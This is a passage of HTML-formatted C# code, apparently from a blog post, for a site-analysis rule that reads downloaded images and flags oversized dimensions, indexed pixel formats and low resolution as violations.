&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Violations.AddImageTooLargeViolation(context,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "It is larger than the allowed download size"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Stop processing since we do not have all the content &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;return;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Load the image from the response into a bitmap &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(Bitmap&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Bitmap(context.UrlInfo.ResponseStream))&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Size&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;size&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap.Size&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;//-------------------------------------------- &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Augment the metadata by adding our fields &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.UrlInfo.SetPropertyValue(ImageWidthField,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;size.Width)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.UrlInfo.SetPropertyValue(ImageHeightField,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;size.Height)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;context.UrlInfo.SetPropertyValue(ImagePixelFormatField,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap.PixelFormat.ToString())&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;//-------------------------------------------- &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Additional Violations: &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// If the size is outside our standards, then flag violation &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(size.Width&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;1024&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;amp;&amp;amp;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;size.Height&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;768&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Violations.AddImageTooLargeViolation(context,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#2b91af&gt;String&lt;/FONT&gt;&lt;FONT color=#000000&gt;.Format(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"The image size is: {0}x{1}"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;size.Width,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;size.Height))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// If the format is outside our standards, then flag violation &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;switch&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(bitmap.PixelFormat)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;PixelFormat.Format1bppIndexed:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;PixelFormat.Format4bppIndexed:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;PixelFormat.Format8bppIndexed:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Violations.AddImagePixelFormatSmall(context)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;break;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(bitmap.VerticalResolution&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;lt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;72&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;||&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap.HorizontalResolution&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;lt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;72&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Violations.AddImageResolutionSmall(context,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap.HorizontalResolution&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; "x" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;bitmap.VerticalResolution)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// &amp;lt;summary&amp;gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// Helper class to hold the violations &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// &amp;lt;/summary&amp;gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;class&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Violations&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;static&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;readonly&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageTooLarge&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationInfo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"ImageTooLarge"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;ViolationLevel.Warning,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Image is too large."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "The Image is too large: {details}."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Make sure that the image content is required."&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; 